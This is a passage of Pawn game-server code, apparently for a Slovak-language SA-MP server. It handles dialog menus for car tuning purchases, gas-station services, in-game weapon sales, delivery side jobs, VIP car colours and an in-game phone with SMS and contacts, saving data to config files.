                                                IsVehicleClanVehicle=true;
                                                series = s;
                                                break;
                                            }
                                        }
                                    }
                                }

                                for(new s=0; s<5; s++)
                                {
                                    if(PlayerVehicle_State[s][playerid] == true)
                                    {
                                        if(vehicleid == PlayerVehicle[s][playerid])
                                        {
                                            IsVehiclePlayerVehicle=true;
                                            series = s;
                                            break;
                                        }
                                    }
                                }

                                FormatPlayerInfoBox(playerid,"~g~Firma","Kupil si si nový komponent na svoju karu !",3000);

                                new sultan = 560;
                                new elegy = 562;
                                new jester = 559;
                                new flash = 565;
                                new uranus = 558;
                                new componentid2=0;

                                if(listitem == 0) // pn:alien
                                {
                                    if(modelid == sultan) componentid = 1169;
                                    if(modelid == jester) componentid = 1160;
                                    if(modelid == elegy)  componentid = 1171;
                                    if(modelid == flash)  componentid = 1153;
                                    if(modelid == uranus) componentid = 1166;
                                }
                                if(listitem == 1) // pn:x-flow
                                {
                                    if(modelid == sultan) componentid = 1170;
                                    if(modelid == jester) componentid = 1173;
                                    if(modelid == elegy)  componentid = 1172;
                                    if(modelid == flash)  componentid = 1152;
                                    if(modelid == uranus) componentid = 1165;
                                }
                                if(listitem == 2) // sn:alien
                                {
                                    if(modelid == sultan) componentid = 1026;
                                    if(modelid == jester) componentid = 1069;
                                    if(modelid == elegy)  componentid = 1036;
                                    if(modelid == flash)  componentid = 1047;
                                    if(modelid == uranus) componentid = 1090;

                                    if(modelid == sultan) componentid2 = 1027;
                                    if(modelid == jester) componentid2 = 1071;
                                    if(modelid == elegy)  componentid2 = 1040;
                                    if(modelid == flash)  componentid2 = 1051;
                                    if(modelid == uranus) componentid2 = 1094;
                                }
                                if(listitem == 3) // sn:x-flow
                                {
                                    if(modelid == sultan) componentid = 1030;
                                    if(modelid == jester) componentid = 1070;
                                    if(modelid == elegy)  componentid = 1039;
                                    if(modelid == flash)  componentid = 1048;
                                    if(modelid == uranus) componentid = 1093;

                                    if(modelid == sultan) componentid2 = 1031;
                                    if(modelid == jester) componentid2 = 1072;
                                    if(modelid == elegy)  componentid2 = 1041;
                                    if(modelid == flash)  componentid2 = 1052;
                                    if(modelid == uranus) componentid2 = 1095;
                                }
                                if(listitem == 4) // zn:alien
                                {
                                    if(modelid == sultan) componentid = 1141;
                                    if(modelid == jester) componentid = 1159;
                                    if(modelid == elegy)  componentid = 1149;
                                    if(modelid == flash)  componentid = 1150;
                                    if(modelid == uranus) componentid = 1168;

                                    if(modelid == sultan) componentid2 = 1028;
                                    if(modelid == jester) componentid2 = 1065;
                                    if(modelid == elegy)  componentid2 = 1034;
                                    if(modelid == flash)  componentid2 = 1046;
                                    if(modelid == uranus) componentid2 = 1092;
                                }
                                if(listitem == 5) // zn:x-flow
                                {
                                    if(modelid == sultan) componentid = 1140;
                                    if(modelid == jester) componentid = 1161;
                                    if(modelid == elegy)  componentid = 1148;
                                    if(modelid == flash)  componentid = 1151;
                                    if(modelid == uranus) componentid = 1167;

                                    if(modelid == sultan) componentid2 = 1029;
                                    if(modelid == jester) componentid2 = 1066;
                                    if(modelid == elegy)  componentid2 = 1037;
                                    if(modelid == flash)  componentid2 = 1045;
                                    if(modelid == uranus) componentid2 = 1089;
                                }
                                if(listitem == 6) // spoiler:alien
                                {
                                    if(modelid == sultan) componentid = 1138;
                                    if(modelid == jester) componentid = 1162;
                                    if(modelid == elegy)  componentid = 1147;
                                    if(modelid == flash)  componentid = 1049;
                                    if(modelid == uranus) componentid = 1164;
                                }
                                if(listitem == 7) // spoiler:x-flow
                                {
                                    if(modelid == sultan) componentid = 1139;
                                    if(modelid == jester) componentid = 1158;
                                    if(modelid == elegy)  componentid = 1146;
                                    if(modelid == flash)  componentid = 1050;
                                    if(modelid == uranus) componentid = 1163;
                                }
                                if(listitem == 8) // strecha:alien
                                {
                                    if(modelid == sultan) componentid = 1032;
                                    if(modelid == jester) componentid = 1067;
                                    if(modelid == elegy)  componentid = 1038;
                                    if(modelid == flash)  componentid = 1054;
                                    if(modelid == uranus) componentid = 1088;
                                }
                                if(listitem == 9) // strecha:x-flow
                                {
                                    if(modelid == sultan) componentid = 1033;
                                    if(modelid == jester) componentid = 1068;
                                    if(modelid == elegy)  componentid = 1035;
                                    if(modelid == flash)  componentid = 1053;
                                    if(modelid == uranus) componentid = 1091;
                                }

                                GivePlayerACMoney(playerid, -dini_Int(fway, Item_price));

                                Firm[Player[playerid][FirmID]][Trzba] += dini_Int(fway, Item_price);

                                dini_IntSet(fway, "Trzba", Firm[Player[playerid][FirmID]][Trzba]);

                                Delete3DTextLabel(Firm[Player[playerid][FirmID]][Text3D]);
                                new fstring[256];
                                format(fstring,256, "[ Firma ]\n%s\nMajitel: %s\nTržba: %d$", dini_Get(fway, "Name"), dini_Get(fway, "Majitel"), Firm[Player[playerid][FirmID]][Trzba]);
                                Firm[Player[playerid][FirmID]][Text3D] = Create3DTextLabel(fstring, COLOR_BLUE_LIGHT, Firm[Player[playerid][FirmID]][fpX], Firm[Player[playerid][FirmID]][fpY], Firm[Player[playerid][FirmID]][fpZ], 40, 0);

                                AddVehicleComponent(vehicleid, componentid);
                                if(componentid2 > 0) AddVehicleComponent(vehicleid, componentid2);

                                if(IsVehicleHouseVehicle == true)
                                {
                                    new hway[32];
                                    format(hway,32,"SL/Server/Houses/House%d.cfg", Player[playerid][HouseP]);

                                    new v_pn[16];
                                    format(v_pn,16,"V%d_pn",series);
                                    if(listitem == 0 || listitem == 1) dini_IntSet(hway, v_pn, componentid);

                                    new v_snL[16];
                                    format(v_snL,16,"V%d_snL",series);
                                    new v_snR[16];
                                    format(v_snR,16,"V%d_snR",series);
                                    if(listitem == 2 || listitem == 3) { dini_IntSet(hway, v_snL, componentid); dini_IntSet(hway, v_snR, componentid2); }

                                    new v_zn[16];
                                    format(v_zn,16,"V%d_zn",series);
                                    new v_exhaust[16];
                                    format(v_exhaust,16,"V%d_exhaust",series);
                                    if(listitem == 4 || listitem == 5) { dini_IntSet(hway, v_zn, componentid); dini_IntSet(hway, v_exhaust, componentid2); }

                                    new v_spoiler[16];
                                    format(v_spoiler,16,"V%d_spoiler",series);
                                    if(listitem == 6 || listitem == 7) dini_IntSet(hway, v_spoiler, componentid);

                                    new v_roof[16];
                                    format(v_roof,16,"V%d_roof",series);
                                    if(listitem == 8 || listitem == 9) dini_IntSet(hway, v_roof, componentid);
                                }

                                else if(IsVehicleClanVehicle == true)
                                {
                                    new cway[64];
                                    format(cway,64,"SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                                    new v_pn[16];
                                    format(v_pn,16,"V%d_pn",series);
                                    if(listitem == 0 || listitem == 1) dini_IntSet(cway, v_pn, componentid);

                                    new v_snL[16];
                                    format(v_snL,16,"V%d_snL",series);
                                    new v_snR[16];
                                    format(v_snR,16,"V%d_snR",series);
                                    if(listitem == 2 || listitem == 3) { dini_IntSet(cway, v_snL, componentid); dini_IntSet(cway, v_snR, componentid2); }

                                    new v_zn[16];
                                    format(v_zn,16,"V%d_zn",series);
                                    new v_exhaust[16];
                                    format(v_exhaust,16,"V%d_exhaust",series);
                                    if(listitem == 4 || listitem == 5) { dini_IntSet(cway, v_zn, componentid); dini_IntSet(cway, v_exhaust, componentid2); }

                                    new v_spoiler[16];
                                    format(v_spoiler,16,"V%d_spoiler",series);
                                    if(listitem == 6 || listitem == 7) dini_IntSet(cway, v_spoiler, componentid);

                                    new v_roof[16];
                                    format(v_roof,16,"V%d_roof",series);
                                    if(listitem == 8 || listitem == 9) dini_IntSet(cway, v_roof, componentid);
                                }
                                
                                else if(IsVehiclePlayerVehicle == true)
                                {
                                    new pway[32], Name[24];
                                    GetPlayerName(playerid, Name, 24);
                                    format(pway,32,"SL/%s.cfg", Name);

                                    new v_pn[16];
                                    format(v_pn,16,"V%d_pn",series);
                                    if(listitem == 0 || listitem == 1) dini_IntSet(pway, v_pn, componentid);

                                    new v_snL[16];
                                    format(v_snL,16,"V%d_snL",series);
                                    new v_snR[16];
                                    format(v_snR,16,"V%d_snR",series);
                                    if(listitem == 2 || listitem == 3) { dini_IntSet(pway, v_snL, componentid); dini_IntSet(pway, v_snR, componentid2); }

                                    new v_zn[16];
                                    format(v_zn,16,"V%d_zn",series);
                                    new v_exhaust[16];
                                    format(v_exhaust,16,"V%d_exhaust",series);
                                    if(listitem == 4 || listitem == 5) { dini_IntSet(pway, v_zn, componentid); dini_IntSet(pway, v_exhaust, componentid2); }

                                    new v_spoiler[16];
                                    format(v_spoiler,16,"V%d_spoiler",series);
                                    if(listitem == 6 || listitem == 7) dini_IntSet(pway, v_spoiler, componentid);

                                    new v_roof[16];
                                    format(v_roof,16,"V%d_roof",series);
                                    if(listitem == 8 || listitem == 9) dini_IntSet(pway, v_roof, componentid);
                                }
                            }
                        }
                    }

                    //-------------------------BENZINKA-----------------------------

                    if(firmtype == 4)
                    {
                        if(vehicleid > 0)
                        {
                            if(GetPlayerACMoney(playerid) < dini_Int(fway, Item_price)) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Nemáš dostatok peňazí !");
                            else
                            {
                                new componentid4=0;

                                if(listitem == 0)
                                {
                                    FormatPlayerInfoBox(playerid,"~g~Firma","Opravil si si vozidlo !",3000);
                                    SetVehicleHealth(vehicleid, 1000);
                                    RepairVehicle(vehicleid);
                                }
                                else if(listitem == 1)
                                {
                                    FormatPlayerInfoBox(playerid,"~g~Firma","Natankoval si si benzin !",3000);
                                    ResetVehicleFuel(vehicleid);
                                }
                                else if(listitem == 5)
                                {
                                    FormatPlayerInfoBox(playerid,"~g~Firma","Kupil si si hydrauliku !",3000);
                                    componentid4=1087;
                                }
                                else
                                {
                                    FormatPlayerInfoBox(playerid,"~g~Firma","Kupil si si Nitro !",3000);
                                    if(listitem == 2) componentid4=1009;
                                    if(listitem == 3) componentid4=1008;
                                    if(listitem == 4) componentid4=1010;
                                }

                                if(componentid4 > 0) AddVehicleComponent(vehicleid, componentid4);

                                GivePlayerACMoney(playerid, -dini_Int(fway, Item_price));

                                Firm[Player[playerid][FirmID]][Trzba] += dini_Int(fway, Item_price);

                                dini_IntSet(fway, "Trzba", Firm[Player[playerid][FirmID]][Trzba]);

                                Delete3DTextLabel(Firm[Player[playerid][FirmID]][Text3D]);
                                new fstring[256];
                                format(fstring,256, "[ Firma ]\n%s\nMajitel: %s\nTržba: %d$", dini_Get(fway, "Name"), dini_Get(fway, "Majitel"), Firm[Player[playerid][FirmID]][Trzba]);
                                Firm[Player[playerid][FirmID]][Text3D] = Create3DTextLabel(fstring, COLOR_BLUE_LIGHT, Firm[Player[playerid][FirmID]][fpX], Firm[Player[playerid][FirmID]][fpY], Firm[Player[playerid][FirmID]][fpZ], 40, 0);

                                if(Player[playerid][HouseP] != 9999)
                                {
                                    for(new s=0; s<HouseStates[Player[playerid][HouseP]][Vehicles]; s++)
                                    {
                                        if(Car_State[s][Player[playerid][HouseP]] == true)
                                        {
                                            if(vehicleid == Car[s][Player[playerid][HouseP]])
                                            {
                                                if(componentid4 > 0)
                                                {
                                                    new hway[32];
                                                    format(hway,32,"SL/Server/Houses/House%d.cfg", Player[playerid][HouseP]);

                                                    new V_hyd[32];
                                                    format(V_hyd,32, "V%d_hyd", s);
                                                    new V_nitro[32];
                                                    format(V_nitro,32, "V%d_nitro", s);

                                                    if(componentid4 == 1087) dini_IntSet(hway, V_hyd, dini_Int(fway, Item_id));
                                                    else                     dini_IntSet(hway, V_nitro, dini_Int(fway, Item_id));

                                                    return 0;
                                                }
                                            }
                                        }
                                    }
                                }

                                if(Player[playerid][ClanP] != 9999)
                                {
                                    for(new s=0; s<Clan[Player[playerid][ClanP]][Vehicles]; s++)
                                    {
                                        if(ClanVehicle_State[s][Player[playerid][ClanP]] == true)
                                        {
                                            if(vehicleid == ClanVehicle[s][Player[playerid][ClanP]])
                                            {
                                                if(componentid4 > 0)
                                                {
                                                    new cway[32];
                                                    format(cway,32,"SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                                                    new V_hyd[32];
                                                    format(V_hyd,32, "V%d_hyd", s);
                                                    new V_nitro[32];
                                                    format(V_nitro,32, "V%d_nitro", s);

                                                    if(componentid4 == 1087) dini_IntSet(cway, V_hyd, dini_Int(fway, Item_id));
                                                    else                     dini_IntSet(cway, V_nitro, dini_Int(fway, Item_id));

                                                    return 0;
                                                }
                                            }
                                        }
                                    }
                                }
                                
                                for(new s=0; s<5; s++)
                                {
                                    if(PlayerVehicle_State[s][playerid] == true)
                                    {
                                        if(vehicleid == PlayerVehicle[s][playerid])
                                        {
                                            if(componentid4 > 0)
                                            {
                                                new pway[32], Name[24];
                                                GetPlayerName(playerid, Name, 24);
                                                format(pway,32,"SL/%s.cfg", Name);

                                                new V_hyd[32];
                                                format(V_hyd,32, "V%d_hyd", s);
                                                new V_nitro[32];
                                                format(V_nitro,32, "V%d_nitro", s);

                                                if(componentid4 == 1087) dini_IntSet(pway, V_hyd, dini_Int(fway, Item_id));
                                                else                     dini_IntSet(pway, V_nitro, dini_Int(fway, Item_id));

                                                return 0;
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }

                    //------------------------WEAPONS-------------------------------

                    if(firmtype == 8)
                    {
                        if(vehicleid == 0)
                        {
                            if(GetPlayerACMoney(playerid) < dini_Int(fway, Item_price)) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Nemáš dostatok peňazí !");
                            else
                            {
                                FormatPlayerInfoBox(playerid,"~g~Firma","Kupil si si zbran !",3000);

                                GivePlayerACMoney(playerid, -dini_Int(fway, Item_price));

                                Firm[Player[playerid][FirmID]][Trzba] += dini_Int(fway, Item_price);

                                dini_IntSet(fway, "Trzba", Firm[Player[playerid][FirmID]][Trzba]);

                                Delete3DTextLabel(Firm[Player[playerid][FirmID]][Text3D]);
                                new fstring[256];
                                format(fstring,256, "[ Firma ]\n%s\nMajitel: %s\nTržba: %d$", dini_Get(fway, "Name"), dini_Get(fway, "Majitel"), Firm[Player[playerid][FirmID]][Trzba]);
                                Firm[Player[playerid][FirmID]][Text3D] = Create3DTextLabel(fstring, COLOR_BLUE_LIGHT, Firm[Player[playerid][FirmID]][fpX], Firm[Player[playerid][FirmID]][fpY], Firm[Player[playerid][FirmID]][fpZ], 40, 0);

                                new ammo = 0;
                                new diniitemid = dini_Int(fway, Item_id);

                                if(diniitemid == 216) ammo=3;
                                else if(diniitemid == 222) ammo=50;
                                else if(diniitemid == 223) ammo=50;
                                else if(diniitemid == 224) ammo=25;
                                else if(diniitemid == 225) ammo=15;
                                else if(diniitemid == 226) ammo=50;
                                else if(diniitemid == 227) ammo=40;
                                else if(diniitemid == 228) ammo=100;
                                else if(diniitemid == 229) ammo=50;
                                else if(diniitemid == 230) ammo=50;
                                else if(diniitemid == 231) ammo=50;
                                else if(diniitemid == 232) ammo=100;
                                else if(diniitemid == 233) ammo=15;
                                else if(diniitemid == 234) ammo=5;
                                else if(diniitemid == 235) ammo=1;

                                if(diniitemid == 299) SetPlayerArmour(playerid, 100.0);
                                else GivePlayerWeapon(playerid, diniitemid-200, ammo);
                            }
                        }
                    }

                    //--------------------------------------------------------------

                }
            }

            if(response == 0) SetTimerEx("IsPlayerInPickupFalse",2000,0,"i",playerid);
        }

        /////////////////////////////////////////////////////
        /////////////////////////////////////////////////////
        /////////////////////////////////////////////////////

        else if(dialogid == Dialog_Brigada0)
        {
            if(response == 1)
            {
                Player[playerid][BrigadaID] = 0;

                new Float:cpx, Float:cpy, Float:cpz;
                switch(random(25))
                {
                    case 0:  { cpx=669.17834472656; cpy=-1763.0355224609; cpz=13.586736679077; }
                    case 1:  { cpx=1972.0899658203; cpy=-1658.6551513672; cpz=15.96875; }
                    case 2:  { cpx=1873.5612792969; cpy=-2060.5192871094; cpz=13.546875; }
                    case 3:  { cpx=2452.0588378906; cpy=-1651.0666503906; cpz=13.399759292603; }
                    case 4:  { cpx=2105.5021972656; cpy=-1228.0560302734; cpz=23.9765625; }
                    case 5:  { cpx=1297.2888183594; cpy=-1414.4985351563; cpz=13.402419090271; }
                    case 6:  { cpx=685.55444335938; cpy=-1412.8319091797; cpz=13.572021484375; }
                    case 7:  { cpx=193.00735473633; cpy=-1770.8659667969; cpz=4.2900409698486; }
                    case 8:  { cpx=2762.0651855469; cpy=-1979.6545410156; cpz=13.547723770142; }
                    case 9:  { cpx=221.95050048828; cpy=-1396.0893554688; cpz=51.593116760254; }
                    case 10: { cpx=821.84088134766; cpy=-781.38934326172; cpz=72.893081665039; }
                    case 11: { cpx=1437.8725585938; cpy=-889.80084228516; cpz=50.658069610596; }
                    case 12: { cpx=2035.9106445313; cpy=-1066.5922851563; cpz=24.759738922119; }
                    case 13: { cpx=2635.2451171875; cpy=-1098.3872070313; cpz=69.398056030273; }
                    case 14: { cpx=344.37835693359; cpy=-1191.673828125; cpz=76.535652160645; }
                    case 15: { cpx=1761.4982910156; cpy=-2120.205078125; cpz=13.554351806641; }
                    case 16: { cpx=982.99822998047; cpy=-1777.5009765625; cpz=14.25980758667; }
                    case 17: { cpx=688.22351074219; cpy=-1594.1788330078; cpz=14.110450744629; }
                    case 18: { cpx=1047.1323242188; cpy=-1294.0205078125; cpz=13.546875; }
                    case 19: { cpx=1231.9820556641; cpy=-1021.5129394531; cpz=32.6015625; }
                    case 20: { cpx=1498.2957763672; cpy=-1585.5098876953; cpz=13.546875; }
                    case 21: { cpx=1949.4433593750; cpy=-1563.0010986328; cpz=13.616527557373; }
                    case 22: { cpx=2174.6455078125; cpy=-994.95239257813; cpz=62.97486114502; }
                    case 23: { cpx=2420.3598632813; cpy=-1910.5383300781; cpz=13.546875; }
                    case 24: { cpx=2491.7370605469; cpy=-1406.3177490234; cpz=28.838520050049; }
                }

                DisablePlayerRaceCheckpoint(playerid);

                SetPlayerRaceCheckpoint(playerid, 1, cpx, cpy, cpz, 0, 0, 0, 2);

                for(new b=0; b<100; b++)
                {
                    if((b * 100) > GetPlayerDistanceToPointEx(playerid, cpx, cpy, cpz))
                    {
                        Player[playerid][BrigadaTime] = (b * 13);
                        break;
                    }
                }

                SetPlayerSkin(playerid, 155);
                Player[playerid][Skin] = 155;

                Player[playerid][IPIP]=false;

                FormatPlayerInfoBox(playerid,"~g~Brigada", "~w~Chod si zobrat pizza motorku a doruc pizzu na miesto oznacene checkpoiontom.~n~~n~~w~Pre ukoncenie misie pouzi:~n~~y~/missionoff", 7000);
            }

            if(response == 0) SetTimerEx("IsPlayerInPickupFalse",2000,0,"i",playerid);
        }


        else if(dialogid == Dialog_Brigada1)
        {
            if(response == 1)
            {
                Player[playerid][BrigadaID] = 1;

                new stringE1[150];
                new stringE2[150];

                format(stringE1,150, "~w~Chod zohnat vozidlo z menom:~n~~y~%s~n~~n~~w~Pre ukoncenie misie pouzi:~n~~y~/missionoff", VehicleName[Player[playerid][BrigadaInfo] - 400]);
                FormatPlayerInfoBox(playerid,"~g~Brigada", stringE1, 7000);

                format(stringE2,150, "Chod zohnat vozidlo z menom: {ff0000}%s", VehicleName[Player[playerid][BrigadaInfo] - 400]);
                SendClientMessage(playerid, COLOR_YELLOW_LIGHT, stringE2);

                Player[playerid][IPIP]=false;
            }

            if(response == 0) SetTimerEx("IsPlayerInPickupFalse",2000,0,"i",playerid);
        }

        //oooooooooooooooooooooooooooooooooooooooooooooooooooooooooo

        else if(dialogid == Dialog_VIP_Cmenu)
        {
            if(response == 1)
            {
                if(listitem == 0) ChangeVehicleColor(GetPlayerVehicleID(playerid),0,0);
                if(listitem == 1) ChangeVehicleColor(GetPlayerVehicleID(playerid),1,1);
                if(listitem == 2) ChangeVehicleColor(GetPlayerVehicleID(playerid),3,3);
                if(listitem == 3) ChangeVehicleColor(GetPlayerVehicleID(playerid),2,2);
                if(listitem == 4) ChangeVehicleColor(GetPlayerVehicleID(playerid),86,86);
                if(listitem == 5) ChangeVehicleColor(GetPlayerVehicleID(playerid),6,6);
                if(listitem == 6) ChangeVehicleColor(GetPlayerVehicleID(playerid),13,13);
                if(listitem == 7) ChangeVehicleColor(GetPlayerVehicleID(playerid),126,126);
                if(listitem == 8) ChangeVehicleColor(GetPlayerVehicleID(playerid),-1 + random(127),-1 + random(127));

                SendClientMessage(playerid,COLOR_GOLD,"[  VIP  ] Zmenil si si farbu auta !");
                     if(Player[playerid][VIP]==2) VIP_Block[playerid][vcar]=60;
                else if(Player[playerid][VIP]==3) VIP_Block[playerid][vcar]=30;
            }
        }

        /////////////////////////////////////////////////////
        ///////////////////// MOBIL /////////////////////////
        /////////////////////////////////////////////////////

        if(dialogid == Dialog_Mobil_menu)
        {
            if(response == 1)
            {
                if(listitem == 0) ShowPlayerDialog(playerid,Dialog_Mobil_NM1,DIALOG_STYLE_INPUT,"{ffff00}Nová zpráva","Zadaj číslo príjemcu","OK","Back");

                if(listitem == 1)
                {
                    new m_way[50];
                    format(m_way,50,"SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][MobilNumber]);

                     new MSGText[25][50];

                     new msgs = dini_Int(m_way, "Messages");
                    for(new m=0; m<msgs; m++)
                    {
                        new MSGWay[64];
                        new messagetext[20];

                        new MSG_from[16];
                        format(MSG_from,16, "MSG%d_from", m);

                        if(dini_Int(m_way, MSG_from) != 0) format(MSGWay,64, "SL/Server/MobilNumbers/%d.cfg", dini_Int(m_way, MSG_from));

                        new MSG_read[16];
                        format(MSG_read,16, "MSG%d_read", m);

                        new MSG_text[16];
                        format(MSG_text,16, "MSG%d_text", m);

                        format(messagetext, 20, "%s", dini_Get(m_way, MSG_text));

                        if(strlen(dini_Get(m_way, MSG_text)) >= 19)
                        {
                            if(dini_Int(m_way, MSG_read) == 1) format(MSGText[m], 50, "{ff0000}* New: %s: %s...", dini_Get(MSGWay, "Majitel"), messagetext);
                            else format(MSGText[m], 50, "%s: {ffff70}%s...", dini_Get(MSGWay, "Majitel"), messagetext);
                        }
                        else
                        {
                            if(dini_Int(m_way, MSG_read) == 1) format(MSGText[m], 50, "{ff0000}* New: %s: %s", dini_Get(MSGWay, "Majitel"), messagetext);
                            else format(MSGText[m], 50, "%s: {ffff70}%s", dini_Get(MSGWay, "Majitel"), messagetext);
                        }
                    }

                    new mText1[128];
                    format(mText1,128,"{ffff00}Prijaté zprávy (%d/25)", dini_Int(m_way, "Messages"));

                    if(msgs <= 0)  return ShowPlayerDialog(playerid,Dialog_Mobil_PZ1,DIALOG_STYLE_LIST,mText1,"{ff0000}Nemáš žiádne zprávy !","Back","");

                    for(new i=0; i<msgs; i++)
                    {
                        format(gBIGSTRING, sizeof(gBIGSTRING), "%s%s\n", gBIGSTRING, MSGText[i]);
                    }

                    ShowPlayerDialog(playerid,Dialog_Mobil_PZ1,DIALOG_STYLE_LIST,mText1,gBIGSTRING,"Prečitať","Back");
                }

                if(listitem == 2)
                {
                    new N92[30][25], pWAY[64];

                    format(pWAY,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][MobilNumber]);

                    for(new c=0; c<30; c++)
                    {
                        new C_use[16];
                        format(C_use,16, "C%d_use", c);

                        new C_number[16];
                        format(C_number,16, "C%d_number", c);

                        if(dini_Int(pWAY, C_use) == 0) N92[c]=" ";

                        new GTqWe[64];
                        format(GTqWe,64, "SL/Server/MobilNumbers/%d.cfg", dini_Int(pWAY, C_number));

                        if(dini_Int(pWAY, C_use) == 1) format(N92[c],25, "%s", dini_Get(GTqWe, "Majitel"));
                    }

                    new contacts = dini_Int(pWAY, "Contacts");
                    if(contacts > 30) contacts = 30;
                    for(new i=0; i<contacts; i++)
                    {
                        format(gBIGSTRING, sizeof(gBIGSTRING), "%s%s\n", gBIGSTRING, N92[i]);
                    }
                    strcat(gBIGSTRING, "{ffff00}New");

                    new mText1_vQA[128];
                    format(mText1_vQA,128,"{ffff00}Adresár (%d/30)", dini_Int(pWAY, "Contacts"));

                    ShowPlayerDialog(playerid,Dialog_Mobil_C1,DIALOG_STYLE_LIST,mText1_vQA,gBIGSTRING,"OK","Back");
                }

                if(listitem == 3) ShowPlayerDialog(playerid,Dialog_Mobil_RT,DIALOG_STYLE_LIST,"{ffff00}Vyzvanáci tón","Žiadny\nRingtone 1 (standard)\nRingtone 2\nRingtone 3\nRingtone 4\nRingtone 5\nRingtone 6\nRingtone 7","Zvolit","Back");
            }
        }

        //--------------------------------------------------------------------------

        if(dialogid == Dialog_Mobil_C1)
        {
            if(response == 1)
            {
                new i_PWAY[64];
                format(i_PWAY,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][MobilNumber]);

                if(listitem != dini_Int(i_PWAY, "Contacts")) // ak nevybral Novy kontakt
                {
                    Mobil[playerid][ContactNumber] = listitem;

                    new iText1[64],
                        iText2[128],
                        cntWAY[50],
                        C_number[16]
                    ;

                    format(C_number, 16, "C%d_number", listitem);
                    format(cntWAY,50,"SL/Server/MobilNumbers/%d.cfg", dini_Int(i_PWAY, C_number));
                    format(iText1,64, "{ffff00}%s", dini_Get(cntWAY, "Majitel"));
                    format(iText2,128, "{ffff00}Jméno: {c5c5c5}%s\n{ffff00}Číslo: {c5c5c5}%d", dini_Get(cntWAY, "Majitel"), dini_Int(cntWAY, "MobilNumber"));
                    
                    Mobil[playerid][Save_MobilNumber] = dini_Int(cntWAY, "MobilNumber");

                    ShowPlayerDialog(playerid,Dialog_Mobil_C2,DIALOG_STYLE_MSGBOX, iText1, iText2, "Možnosti", "Back");
                }

                else ShowPlayerDialog(playerid,Dialog_Mobil_C3,DIALOG_STYLE_INPUT,"{ffff00}Nový kontakt","Zadaj číslo kontaktu:","OK","Back");
            }

            if(response == 0)
            {
                new way[32],
                    Name[24]
                ;
                GetPlayerName(playerid,Name,24);

                format(way,32,"SL/%s.cfg", Name);

                format(gBIGSTRING,sizeof(gBIGSTRING),"{ffff00}Mobil - {ffff70}%d", dini_Int(way, "MobilNumber"));
                ShowPlayerDialog(playerid,Dialog_Mobil_menu,DIALOG_STYLE_LIST, gBIGSTRING, "Nová zpráva\nPrijaté zprávy\nAdresár\nVyzvaňáci tón", "OK", "Exit");
            }
        }
        
        //--------------------------------------------------------------------------

        if(dialogid == Dialog_Mobil_ContactOptions)
        {
            new bool:ShowPlayerContactMenu=false;
        
            if(response == 1)
            {
                if(listitem == 0)
                {
                    new string_NM2_3[256], TargetPlayerWay_3[64], TargetPlayerName_3[32];

                    format(TargetPlayerWay_3,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][Save_MobilNumber]);
                    format(TargetPlayerName_3,32, "%s", dini_Get(TargetPlayerWay_3, "Majitel"));
                    format(string_NM2_3,256, "{c5c5c5}Pro: {ffff00}%s\n{c5c5c5}Zadaj text zprávy:", TargetPlayerName_3);

                    ShowPlayerDialog(playerid,Dialog_Mobil_NM2,DIALOG_STYLE_INPUT,"{ffff00}Nová zpráva",string_NM2_3,"OK","Back");
                }
                
                if(listitem == 1)
                {
                    new from = Mobil[playerid][ContactNumber];

                    new mx5_way[64];
                    format(mx5_way,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][MobilNumber]);

                    for(new x=from; x<dini_Int(mx5_way, "Contacts"); x++)
                    {
                        new C_use_A[16], C_use_B[16], C_number_A[16], C_number_B[16];

                        new xx = (x+1);

                        format(C_use_A,16,"C%d_use", x);
                        format(C_use_B,16 ,"C%d_use", xx);

                        format(C_number_A,16,"C%d_number", x);
                        format(C_number_B,16 ,"C%d_number", xx);

                        dini_IntSet(mx5_way, C_use_A, dini_Int(mx5_way, C_use_B));
                        dini_IntSet(mx5_way, C_number_A, dini_Int(mx5_way, C_number_B));
                    }

                    new newconts = dini_Int(mx5_way, "Contacts");
                    newconts--;

                    dini_IntSet(mx5_way, "Contacts", newconts);

                    FormatPlayerInfoBox(playerid, "~g~Mobil", "~w~Kontakt bol uspesne zmazany !", 2000);
                    
                    ShowPlayerContactMenu=true;
                }
            }
            
            if(response == 0 || ShowPlayerContactMenu == true)
            {
                new nText2_QVX[1000],
                    N93[30][25],
                    pWAY[64]
                ;

                format(pWAY,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][MobilNumber]);

                for(new c=0; c<30; c++)
                {
                    new C_use[16];
                    format(C_use,16, "C%d_use", c);

                    new C_number[16];
                    format(C_number,16, "C%d_number", c);

                    if(dini_Int(pWAY, C_use) == 0) N93[c]=" ";

                    new GTqWe[64];
                    format(GTqWe,64, "SL/Server/MobilNumbers/%d.cfg", dini_Int(pWAY, C_number));

                    if(dini_Int(pWAY, C_use) == 1) format(N93[c],25, "%s", dini_Get(GTqWe, "Majitel"));
                }

                new contacts = dini_Int(pWAY, "Contacts");
                if(contacts > 30) contacts = 30;
                for(new i=0; i<contacts; i++)
                {
                    format(nText2_QVX, sizeof(nText2_QVX), "%s%s\n", nText2_QVX, N93[i]);
                }
                strcat(nText2_QVX, "{ffff00}New");
                
                new mText1_vQA[128];
                format(mText1_vQA,128,"{ffff00}Adresár (%d/30)", dini_Int(pWAY, "Contacts"));

                ShowPlayerDialog(playerid,Dialog_Mobil_C1,DIALOG_STYLE_LIST,mText1_vQA,nText2_QVX,"OK","Back");
            }
        }

        //--------------------------------------------------------------------------

        if(dialogid == Dialog_Mobil_C2)
        {
            if(response == 1)
            {
                ShowPlayerDialog(playerid, Dialog_Mobil_ContactOptions, DIALOG_STYLE_LIST, "Možnosti kontaktu", "Napisať SMS zprávu\nVymazať", "OK", "Back");
            }

            if(response == 0)
            {
                new nText2_AQQ[1000],
                    N94[30][25],
                    pWAY_x[64]
                ;

                format(pWAY_x,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][MobilNumber]);

                for(new c=0; c<30; c++)
                {
                    new C_use[16];
                    format(C_use,16, "C%d_use", c);

                    new C_number[16];
                    format(C_number,16, "C%d_number", c);

                    if(dini_Int(pWAY_x, C_use) == 0) N94[c]=" ";

                    new GTqWe[64];
